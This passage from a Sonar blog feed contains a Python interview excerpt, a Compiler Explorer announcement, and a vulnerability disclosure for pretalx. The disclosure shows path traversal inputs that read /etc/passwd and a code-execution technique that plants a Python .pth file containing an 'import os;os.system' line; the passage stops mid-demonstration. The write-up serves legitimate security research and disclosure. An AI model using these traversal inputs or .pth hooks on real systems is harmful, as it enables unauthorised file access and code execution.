).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h4&gt;Yaniv Nizry&lt;/h4&gt;&lt;p&gt;We can use Python for pretty much everything, as I said before I&amp;#x27;ve seen Python being used from the smallest scripts to a whole backend infrastructure. As far as I&amp;#x27;m concerned when it comes to ML and Data Science Python is the way to go. As security researchers, we use Python to write exploit scripts. Personally, every time I need anything a code can fix I&amp;#x27;ll use Python thanks to the fact that there is no setup and compilation involved. For example, I need to have a string that contains the letter &amp;#x27;a&amp;#x27; 255 times, so I will open IDLE and write &amp;quot;a&amp;quot;*255. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Each language has its own benefits, and of course, there is a better fit for other languages in different use cases. Writing browser client-side code will be in JS, drivers, or kernel modules using low-level code such as C, etc.&lt;/p&gt;&lt;h2&gt;Part 1 Summary&lt;/h2&gt;&lt;p&gt;Thanks to Nafiul, Cheng, and Yaniv, three very different Python users, at different stages in their Python journey. We learned why they feel developers should learn Python and the wide range of use cases that it can be applied to, and acknowledged a few where other languages are a better fit.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Stay tuned for part 2 where we will ask our developers their thoughts on the maturity of Python tooling, plus a recent change in Python that excites them (including code snippets!)&lt;/p&gt;&lt;h4&gt;&lt;br/&gt;&lt;/h4&gt;&lt;h4&gt;Bios&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;Nafiul Islam&lt;/strong&gt;, programming since 14, has a decade of software experience. Adept in Python and exploring Rust, he authored &amp;quot;Mastering PyCharm&amp;quot; at 21. Nafiul has spoken at global Python conferences and held positions at JetBrains and Microsoft. In his free time, he loves reading fantasy novels. Follow him @gamesbrainiac on Twitter.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Cheng Chen&lt;/strong&gt; trained as a computer scientist, Cheng has been working in machine learning and artificial intelligence since 15 years ago in different industry branches such as computer vision, FMCG, digital manufacturing, and biometrics. He recently joined Sonar to explore ML for code analysis.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Yaniv Nizry&lt;/strong&gt; is a Vulnerability Researcher at Sonar where he leverages his expertise to identify and mitigate vulnerabilities in complex systems. Starting his way as a software engineer, he shifted his focus while serving in the IDF&amp;#x27;s 8200 unit, where he gained experience in both offensive and defensive cybersecurity tactics.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Enjoy all things Python, and want more? &lt;a href=&quot;https://sonarsource.zoom.us/webinar/register/1016814727581/WN_9WmyrHN7QrKxkZ1fTEbmpw&quot;&gt;Register now&lt;/a&gt; for our upcoming webinar Clean Code for your Python projects, with Nafiul Islam - Wednesday, May 10th - 5PM CEST / 10 AM CDT.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Sonar Compiler Explorer: Write clean C++ code inside your browser]]></title><description><![CDATA[Sonar ❤️ Compiler Explorer: Write clean C++ code inside your browser]]></description><link>https://www.sonarsource.com/blog/sonar-compiler-explorer-write-clean-c-code-inside-your-browser</link><guid isPermaLink="false">684e7ed6-73fc-574c-8421-951032d3457a</guid><dc:creator><![CDATA[Fred Tingaud]]></dc:creator><pubDate>Sun, 16 Apr 2023 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We are happy to announce that it is now possible to run Sonar static analysis inside Compiler Explorer!&lt;/p&gt;&lt;p&gt;Not only is your code compiled as you write it, but it can now also be linted. You just have to select Sonar in the tools list and you will get issue highlighting inside the editor, a description of what is wrong and how to fix it, automatic fixes where applicable, and more!&lt;/p&gt;&lt;h2&gt;Compiler Explorer&lt;/h2&gt;&lt;p&gt;In the C++ community, Compiler Explorer has become an essential tool thanks to its ubiquity and convenience.&lt;/p&gt;&lt;p&gt;If you haven&amp;#x27;t had the chance to hear about Compiler Explorer yet, imagine an online IDE where, as you type, your code is compiled, executed, and the generated assembly code is displayed. Or don&amp;#x27;t imagine and visit &lt;a href=&quot;https://compiler-explorer.com/&quot;&gt;https://compiler-explorer.com/&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;If you add to that multiple integrated tools to inspect the code and the possibility of sharing URLs, you have one of the best tools for prototyping, demoing, sharing code snippets, validating hypotheses, and much more.&lt;/p&gt;&lt;p&gt;Because Compiler Explorer is the perfect tool for sharing code, all the examples we mention in this post come with fully configured links in Compiler Explorer.&lt;/p&gt;&lt;h2&gt;Sonar tooling&lt;/h2&gt;&lt;p&gt;At Sonar, we provide static analysis tools that detect bugs and code smells without asking you to manually instrument or change your code. &lt;/p&gt;&lt;p&gt;We believe that the continuous use of these tools leads to Clean Code.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/products/sonarlint&quot;&gt;SonarLint&lt;/a&gt;, a static analysis solution in your IDE, is the tool that most resembles what was introduced in Compiler Explorer. We also provide SonarQube and SonarCloud to work as part of your continuous integration/deployment pipeline and to enable our &lt;a href=&quot;https://www.sonarsource.com/resources/solution-briefs/clean-as-you-code/&quot;&gt;Clean as You Code approach&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Sonar analysis in Compiler Explorer&lt;/h2&gt;&lt;p&gt;To use the Sonar analysis integration with Compiler Explorer, make sure you have selected either C or C++ as your language and a GCC or Clang compiler.&lt;/p&gt;&lt;p&gt;You will find a menu &amp;quot;Add tool...&amp;quot; in the compiler output window, with a &amp;quot;Sonar&amp;quot; entry. Select it, et voilà! &lt;a href=&quot;https://compiler-explorer.com/z/jaGfW76YY&quot;&gt;https://compiler-explorer.com/z/jaGfW76YY&lt;/a&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/58b72d11-b25c-4f03-bb76-d62a89adc1e0/Compiler%20Explorer_Image.png&quot; /&gt;&lt;p&gt;Detected issues are highlighted with a golden squiggle in the code, and details are available in the Sonar window or when hovering over the highlighted code.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/4535f983-f61b-4a5d-b1a1-76c8082fb375/overview.PNG&quot; /&gt;&lt;h2&gt;Some use cases&lt;/h2&gt;&lt;p&gt;Will this new tool improve your life? Here are a few situations where we think Sonar analysis will make your life better.&lt;/p&gt;&lt;h3&gt;Play with a new C++ feature&lt;/h3&gt;&lt;p&gt;We strive to cover new language features as soon as possible after they are supported and stable in the major compilers. We know that Compiler Explorer will often be where you will first experiment with language features before they reach your production code. That&amp;#x27;s where we want to be: we aim to educate the public on how to use these features correctly.&lt;/p&gt;&lt;p&gt;Imagine you work for a company that uses C++17 in production. You read about C++20 bringing &lt;code&gt;concepts&lt;/code&gt; and you want to try them to better grasp how they would benefit your job. You fire up Compiler Explorer and start writing a pet example to understand, hands-on, what is going on.&lt;/p&gt;&lt;p&gt;Your first attempt at differentiating integers from strings compiles but when you test it with &lt;code&gt;static_asserts&lt;/code&gt;, you realize it doesn&amp;#x27;t do what you expected at all:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;#include &lt;concepts&gt;
#include &lt;string&gt;

template&lt;typename T&gt;
concept IsNumericID = requires () {
   std::is_integral_v&lt;T&gt;;
};

template&lt;typename T&gt;
concept IsTextualID = requires() {
    std::is_same_v&lt;T, std::string&gt;;
};

static_assert(IsNumericID&lt;int&gt;);
static_assert(!IsNumericID&lt;std::string&gt;);
static_assert(!IsTextualID&lt;int&gt;);
static_assert(IsTextualID&lt;std::string&gt;);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;C++ Code - Failing concept use&lt;/em&gt;&lt;/p&gt;&lt;p&gt;You add the Sonar analysis to your code and see that you have issues raised on both concept declarations:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/52ae2b76-0a27-42fe-b2ab-4423ebcccf43/one-issue.PNG&quot; /&gt;&lt;p&gt;&lt;a href=&quot;https://compiler-explorer.com/z/8T1Tzxr6G&quot;&gt;https://compiler-explorer.com/z/8T1Tzxr6G&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Because you don&amp;#x27;t know the subject well, the issue description does not really enlighten you, but luckily, this description also contains a link to a more in-depth explanation of the subject! You click on the link to &lt;a href=&quot;https://rules.sonarsource.com/cpp/RSPEC-6456&quot;&gt;https://rules.sonarsource.com/cpp/RSPEC-6456&lt;/a&gt; where you learn about simple requirements, why your type traits are not evaluated in this context, and how to correctly write your checks. A few minutes later, your pet project is both simpler and working as expected &lt;a href=&quot;https://compiler-explorer.com/z/97Tx8vaqr&quot;&gt;https://compiler-explorer.com/z/97Tx8vaqr&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;Writing a presentation&lt;/h3&gt;&lt;p&gt;Now imagine you are preparing a talk for your peers about image quality and color spaces. A subject you&amp;#x27;re an expert in. Of course, you always use Compiler Explorer to prepare all the code snippets you&amp;#x27;ll present. It allows you to make sure everything compiles correctly and also to quickly open a snippet and modify it interactively if anybody asks a question.&lt;/p&gt;&lt;p&gt;One of your slides reads as follows:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;#include &lt;array&gt;

enum class ColorSpaces { rgb, hsv, hsl, lab, xyz };

std::array&lt;float, 3&gt; getRed(ColorSpaces space) {
  switch (space) {

    case ColorSpaces::rgb: return { 1.0f,  0.0f,  0.0f};
    case ColorSpaces::hsv: return { 0.0f,  1.0f,  1.0f};
    case ColorSpaces::hsl: return { 0.0f,  1.0f,  0.5f};
    case ColorSpaces::lab: return {53.2f, 80.1f, 67.2f};
    case ColorSpaces::xyz: return {0.41f, 0.21f, 0.02f};
  }
  return { 0.f,0.f,0.f };
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;Code of the slide&lt;/em&gt;&lt;/p&gt;&lt;p&gt;When you activate Sonar analysis with C++20, you get the following issue:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/ea6bf663-582a-4945-b445-891b1f5fdecf/issue-with-quickfix.PNG&quot; /&gt;&lt;p&gt;&lt;a href=&quot;https://www.compiler-explorer.com/z/b6qG7sWhM&quot;&gt;https://www.compiler-explorer.com/z/b6qG7sWhM&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Reducing verbosity in a presentation slide is extremely valuable, so you click on the issue description and your cursor switches to the corresponding position in the editor. A blue lightbulb icon appears near the cursor that you can click to automatically fix the code.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/439c4a7f-3f8f-4041-bb7e-298a7ca1662e/ce-quick-fix.PNG&quot; /&gt;&lt;p&gt;Your code is now less verbose and more straightforward for the attendees of your talk. They will be able to concentrate on the real point of the slide. &lt;a href=&quot;https://compiler-explorer.com/z/hc5a773Tr&quot;&gt;https://compiler-explorer.com/z/hc5a773Tr&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;What&amp;#x27;s wrong with this code?&lt;/h3&gt;&lt;p&gt;A common use case for Compiler Explorer is sharing a code snippet that behaves in a different way than expected. If our tooling can find bugs at this level, we save time for the person sending the snippet and all the recipients. This time can instead be spent more constructively sharing this knowledge or discussing best practices to avoid the issue.&lt;/p&gt;&lt;p&gt;Imagine you&amp;#x27;re working on a UI system and you&amp;#x27;re struggling with your latest component that appears at the wrong depth although the z-order is correctly passed. You manage to reproduce the problem in Compiler Explorer and intend to send it to a few experts you know, who could explain what is going on.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;#include &lt;iostream&gt;

struct Widget {
  explicit Widget(int zorder) {
    std::cout &lt;&lt; &quot;Widget(zorder = &quot; &lt;&lt; zorder &lt;&lt; &quot;)&quot; &lt;&lt; std::endl;
  }
};

struct InputController {
  int zorder;
};

class InputField : public Widget, public InputController {
public:
  int x;
  int y;

  explicit InputField(int z) : InputController{z}, Widget{zorder}, y(z), x(y + 1) {}
};&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;Code of a new InputField&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Before you send it, though, you check what Sonar analysis has to say about this snippet and discover multiple issues on the InputField initialization.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/367c90fe-de20-453f-963a-f49ad20616e3/secondaries-warning.PNG&quot; /&gt;&lt;p&gt;&lt;a href=&quot;https://www.compiler-explorer.com/z/G5Y35K9v6&quot;&gt;https://www.compiler-explorer.com/z/G5Y35K9v6&lt;/a&gt;&lt;/p&gt;&lt;p&gt;When clicking on the first issue text “18:32  ➕ Reorder initializers to match the runtime order. (cpp:S3229)” you see indicators in the code pinpointing each of the 4 ordering issues you have.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/55059120-58b8-4a3d-b56a-7ab7766e9b28/secondaries-display.PNG&quot; /&gt;&lt;p&gt;With all these indications, you now realize that the problem comes from the order of initialization of the subclasses and can rethink the architecture of this component to avoid it.&lt;/p&gt;&lt;h3&gt;And others&lt;/h3&gt;&lt;p&gt;These are just a few examples, but many other situations will benefit from this integration. Finding errors as quickly as possible during live coding sessions, testing Sonar tooling without installing anything on your machine, you name it!&lt;/p&gt;&lt;p&gt;You can post on our &lt;a href=&quot;https://community.sonarsource.com/&quot;&gt;Community hub&lt;/a&gt; or reach out to us on social networks (&lt;a href=&quot;https://twitter.com/SonarSource&quot;&gt;Twitter&lt;/a&gt;, &lt;a href=&quot;https://infosec.exchange/@SonarResearch&quot;&gt;Mastodon&lt;/a&gt;, &lt;a href=&quot;https://www.linkedin.com/company/sonarsource&quot;&gt;LinkedIn&lt;/a&gt;) if you want to give us feedback or tell us how this feature has helped you!&lt;/p&gt;&lt;h2&gt;It&amp;#x27;s just the beginning!&lt;/h2&gt;&lt;p&gt;For technical reasons, the integrated analysis only covers a subset of all our rules. We think it covers enough to give a good idea of the benefits our static analysis can provide. Still, a SonarQube or SonarCloud analysis might find more issues than what appears in Compiler Explorer.&lt;/p&gt;&lt;p&gt;Also, at the moment, the analysis in Compiler Explorer is limited to GCC and Clang, and to the C and C++ languages, while our official tools support a much wider range of compilers and languages. Therefore, we encourage you to go discover our other tools at &lt;a href=&quot;https://www.sonarsource.com/open-source-editions/&quot;&gt;Sonar Open Source Solution&lt;/a&gt; and try them too!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Pretalx Vulnerabilities: How to get accepted at every conference]]></title><description><![CDATA[We recently discovered two vulnerabilities in pretalx and found a generic technique to gain code execution from a file write.]]></description><link>https://www.sonarsource.com/blog/pretalx-vulnerabilities-how-to-get-accepted-at-every-conference</link><guid isPermaLink="false">282f7239-81d0-5b38-868f-b41b39742047</guid><dc:creator><![CDATA[Stefan Schiller]]></dc:creator><pubDate>Wed, 12 Apr 2023 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://pretalx.com/p/about/&quot;&gt;Pretalx&lt;/a&gt; is a web-based conference planning tool, which is used to manage call for papers (CfP) submissions, select talks, communicate with speakers, and publish conference schedules. Major IT security conferences like &lt;a href=&quot;https://cfp.offensivecon.org/offensivecon23/&quot;&gt;OffensiveCon&lt;/a&gt;, &lt;a href=&quot;https://cfp.hexacon.fr/hexacon-2023/cfp&quot;&gt;Hexacon&lt;/a&gt;, and &lt;a href=&quot;https://cfp.troopers.de/tr23/cfp&quot;&gt;TROOPERS&lt;/a&gt; are only a few of the numerous users of pretalx. Due to the call for papers functionality, a pretalx instance can contain data about yet undisclosed research, which makes it an interesting target for threat actors.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While submitting talks to some conferences, we wondered how secure the CfP platforms are and decided to audit the popular pretalx for security vulnerabilities. During this research, we identified an arbitrary file read and a limited file write vulnerability. When determining the impact of these vulnerabilities, we found a &lt;strong&gt;generic technique to turn a file write into code execution&lt;/strong&gt; by leveraging a specific feature of Python.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this article, we outline the impact of the vulnerabilities and dive into the technical details. Furthermore, we introduce the generic technique to gain code execution via a file write vulnerability. In the end, we explain how the vulnerabilities can be mitigated by having a look at the applied patches.&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;We discovered the following vulnerabilities in pretalx, which affect versions &lt;code&gt;2.3.1&lt;/code&gt; and prior:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;CVE-2023-28459: Arbitrary File Read&lt;/li&gt;&lt;li&gt;CVE-2023-28458: Limited File Write&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The first vulnerability allows a privileged user to &lt;strong&gt;disclose any file&lt;/strong&gt; from the server&amp;#x27;s filesystem, which is accessible by the pretalx process.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The second vulnerability allows a user with access to a scheduled talk to write files on the server&amp;#x27;s filesystem. If the application is running in &lt;strong&gt;debug mode&lt;/strong&gt;, the content of these files can be controlled, which leads to &lt;strong&gt;remote code execution&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Both vulnerabilities were fixed in pretalx version &lt;code&gt;2.3.2&lt;/code&gt;, which was released in an incredible time of &lt;a href=&quot;https://pretalx.com/p/news/security-release-232/&quot;&gt;fewer than 3 hours after our notification&lt;/a&gt;. The SaaS platform pretalx.com was immediately patched. We strongly recommend updating any self-hosted instance with a version before this release.&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;In this section, we dive into the technical details of both vulnerabilities.&lt;/p&gt;&lt;h3&gt;Arbitrary File Read (CVE-2023-28459)&lt;/h3&gt;&lt;p&gt;Pretalx allows privileged users to create and download a static HTML export of a schedule. The creation of the exported HTML is also triggered automatically on a regular basis, &lt;a href=&quot;https://docs.pretalx.org/administrator/installation.html#step-9-provide-periodic-tasks&quot;&gt;usually via a cron job&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The function responsible for creating the export performs the following steps:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Iterate over all URLs required for the schedule.&lt;/li&gt;&lt;li&gt;Dump its content to a temporary folder which will later be archived in a zip file.&lt;/li&gt;&lt;li&gt;Retrieve all URLs to additional assets.&lt;/li&gt;&lt;li&gt;Dump all additional assets in a second iteration.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Since user-uploaded resources are also part of the schedule, attackers can make the application process arbitrary URLs in the second iteration by uploading an HTML file that references an asset using an &lt;code&gt;img&lt;/code&gt; tag&amp;#x27;s &lt;code&gt;src&lt;/code&gt; attribute.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;URLs beginning with &lt;code&gt;STATIC_ROOT&lt;/code&gt; or &lt;code&gt;MEDIA_ROOT&lt;/code&gt; will first be read directly from disk:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def get_mediastatic_content(url):
  if url.startswith(settings.STATIC_URL):
    local_path = settings.STATIC_ROOT / url[len(settings.STATIC_URL):]
  elif url.startswith(settings.MEDIA_URL):
    local_path = settings.MEDIA_ROOT / url[len(settings.MEDIA_URL):]
  else:
    raise FileNotFoundError()

  with open(local_path, &quot;rb&quot;) as f:
    return f.read()&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Since there is no check whether the final &lt;code&gt;local_path&lt;/code&gt; is within the &lt;code&gt;STATIC_ROOT&lt;/code&gt; or &lt;code&gt;MEDIA_ROOT&lt;/code&gt; folder, arbitrary files can be referenced using the path traversal sequence &lt;code&gt;../&lt;/code&gt;. This can also be achieved by using an absolute path. If the second part of the path begins with a slash (&lt;code&gt;/&lt;/code&gt;), the first part of the path is ignored:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;MEDIA_ROOT = Path(&apos;/var/pretalx/data/media&apos;)
MEDIA_URL = &apos;/media/&apos;

url = &apos;/media//etc/passwd&apos;
local_path = MEDIA_ROOT / url[len(MEDIA_URL):]

print(local_path)
# &apos;/etc/passwd&apos;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You can read more about similar security pitfalls in Python in our blog post on &lt;a href=&quot;https://www.sonarsource.com/blog/10-unknown-security-pitfalls-for-python/&quot;&gt;10 Unknown Security Pitfalls for Python&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;Limited File Write (CVE-2023-28458)&lt;/h3&gt;&lt;p&gt;The second vulnerability also resides within the HTML export feature. The function responsible for dumping the content retrieved from a URL is called &lt;code&gt;dump_content&lt;/code&gt; and uses the URL (parameter &lt;code&gt;path&lt;/code&gt;) to determine the destination path. Although leading slashes are removed from &lt;code&gt;path&lt;/code&gt; before being added to the destination folder, it is not ensured that the final path is below the destination folder:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def dump_content(destination, path, getter):
  # retrieve content (path is the URL)
  content = getter(path)

  # create folders if necessary
  path = Path(destination) / path.lstrip(&quot;/&quot;)
  path.parent.mkdir(parents=True, exist_ok=True)

  # write content to file
  with open(path, &quot;wb&quot;) as f:
    f.write(content)
  return content&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Attackers can again leverage the string sequence &lt;code&gt;../&lt;/code&gt; to traverse out of the destination folder, resulting in arbitrary file write. This could be exploited by a self-registered user with access to a talk that has been added to a schedule. However, the content of the file cannot be controlled in most cases, because referencing an invalid URL returns the 404 error page. This is different if the application is running in &lt;code&gt;DEBUG&lt;/code&gt; mode as we will demonstrate now.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In &lt;code&gt;DEBUG&lt;/code&gt; mode, user-uploaded resources are served from the Django application itself instead of a reverse proxy. When the content of a URL is retrieved and cannot be read from disk via the &lt;code&gt;get_mediastatic_content&lt;/code&gt; function, the Django test client is used to read the content from the application:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def get(url):
  try:
    # Try getting the file from disk directly first, …
    return get_mediastatic_content(url)
  except FileNotFoundError:
    # … then fall back to asking the views.
    response = client.get(url, is_html_export=True, HTTP_ACCEPT=&quot;text/html&quot;)
    content = get_content(response)
    return content&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In order to make the application read a user-uploaded resource via the Django test client, an attacker can simply URL-encode one of the first characters to prevent that the URL begins with &lt;code&gt;MEDIA_ROOT&lt;/code&gt;. This is possible because the Django test client decodes the URL before accessing it.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The URL-decoding of the Django test client also introduces a significant difference from the filesystem path handling when the content is written to disk. The following URL is a valid reference to a user-uploaded resource for the Django test client:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/536f0169-6aa2-4cee-ad80-b91d4ce2a229/pretalx-01.png&quot; /&gt;&lt;p&gt;When the retrieved contents are written to disk, though, the path is &lt;strong&gt;not&lt;/strong&gt; URL-decoded. This means that the following file is written:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/e42a6861-0dd5-45d4-a17e-ad645922cc25/pretalx-02.png&quot; /&gt;&lt;p&gt;In conjunction with the path traversal, this can be leveraged to write the user-controlled resource to an arbitrary file. The following URL is still a valid reference to the user-uploaded resource for the Django test client:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/ca5de244-7a34-45c3-8b86-566309e3b197/pretalx-03.png&quot; /&gt;&lt;p&gt;When the path is processed to write the file to disk, things look a little different: &lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/38bca44a-6ef8-4fbe-80af-c5872dcf4870/pretalx-04.png&quot; /&gt;&lt;p&gt;Thus, the user-controlled content is written to &lt;code&gt;/tmp&lt;/code&gt; in a file called &lt;code&gt;%2e%2e%2fmedia%2ftest-event%2fsubmissions%2fXXX%2fresources%2fupload.txt&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When determining the impact of this arbitrary file write, we discovered a generic technique to gain code execution.&lt;/p&gt;&lt;h2&gt;Code Execution via Site-Specific Configuration Hooks&lt;/h2&gt;&lt;p&gt;The requirements for this technique are the following:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Control over the file extension&lt;/li&gt;&lt;li&gt;Control over the beginning of any line in the file&lt;/li&gt;&lt;li&gt;Ability to write the file to &lt;code&gt;~/.local/lib/pythonX.Y/site-packages/&lt;/code&gt;&lt;/li&gt;&lt;li&gt;At some point, a new Python process is launched with the same identity&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Python supports a feature called &lt;a href=&quot;https://docs.python.org/3/library/site.html&quot;&gt;site-specific configuration hooks&lt;/a&gt;. Its main purpose is to add custom paths to the module search path. To do this, a &lt;code&gt;.pth&lt;/code&gt; file with an arbitrary name can be put in the &lt;code&gt;.local/lib/pythonX.Y/site-packages/&lt;/code&gt; folder in a user&amp;#x27;s home directory:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;user@host:~$ echo &apos;/tmp&apos; &gt; ~/.local/lib/python3.10/site-packages/foo.pth&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;When a new Python process is spawned, the path &lt;code&gt;/tmp&lt;/code&gt; is added to the module search path &lt;code&gt;sys.path&lt;/code&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;user@host:~$ python3
&gt;&gt;&gt; import sys
&gt;&gt;&gt; sys.path
[ ... &apos;/tmp&apos;, ... ]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Although there might be some cases where the ability to add a path to the module search path can be leveraged to gain code execution, bear with us. It even gets better.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Looking at the &lt;a href=&quot;https://github.com/python/cpython/blob/3.11/Lib/site.py&quot;&gt;implementation&lt;/a&gt; of the site-specific configuration, the following part screams for attention:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def addpackage(sitedir, name, known_paths):
  # ...
  for n, line in enumerate(f):
    # ...
    try:
      if line.startswith((&quot;import &quot;, &quot;import\t&quot;)):
        exec(line)
        continue&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If a line in a &lt;code&gt;.pth&lt;/code&gt; file starts with &lt;code&gt;&amp;quot;import &amp;quot;&lt;/code&gt; or &lt;code&gt;&amp;quot;import\t&amp;quot;&lt;/code&gt;, it will be evaluated as Python code! This is clearly described in the &lt;a href=&quot;https://docs.python.org/3/library/site.html&quot;&gt;docs&lt;/a&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;[...] Lines starting with import (followed by space or tab) are executed. [...]&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/mzxQrgvuRFg?t=107&quot;&gt;This video from anthonywritescode&lt;/a&gt; also mentions that this feature could be used to gain arbitrary code execution.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So, let&amp;#x27;s see this in action. We create a new &lt;code&gt;.pth&lt;/code&gt; file, which pipes the output of the &lt;code&gt;whoami&lt;/code&gt; command to &lt;code&gt;/tmp/x&lt;/code&gt;. Once a new Python process is spawned, the command is executed:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;user@host:~$ echo &apos;import os;os.system(&quot;whoami&gt;/tmp/x&quot;)&apos; &gt; .local/lib/python3.10/site-packages/arbitrary_name.pth
user@host:~$ cat /tmp/x
cat: /tmp/x: No such file or directory
user@host:~$ python3
&gt;&gt;&gt; CTRL + D
user@host:~$ cat /tmp/x
user&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The fact that this technique only requires a limited amount of file control makes it very appealing. Having control over the extension of a file and one single line in it is not that uncommon. The most restrictive requirements are that the destination path must be controllable and that a new Python process is spawned in the context of the targeted user.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Regarding the destination path, it is worth mentioning that the base path, from which the &lt;code&gt;.pth&lt;/code&gt; files are read, can be changed via the &lt;code&gt;PYTHONUSERBASE&lt;/code&gt; environment variable. If a file write vulnerability does not allow to write to the user&amp;#x27;s home directory but it is possible to influence this environment variable of any spawned Python process, the &lt;code&gt;.pth&lt;/code&gt; file can be stored in another directory (the subfolders &lt;code&gt;lib/pythonX.Y/site-packages/&lt;/code&gt; are still required):&lt;/p&gt;&lt;pre&gt;&lt;code&gt;user@host:~$ cat /tmp/x
cat: /tmp/x: No such file or directory
user@host:~$ mkdir -p /tmp/lib/python3.10/site-packages
user@host:~$ echo &apos;import os;os.system(&quot;whoami&gt;/tmp/x&quot;)&apos; &gt; /tmp/lib/python3.10/site-packages/some_name.pth
user@host:~$ export PYTHONUSERBASE=&apos;/tmp&apos;
user@host:~$ python3
&gt;&gt;&gt; CTRL + D
user@host:~$ cat /tmp/x
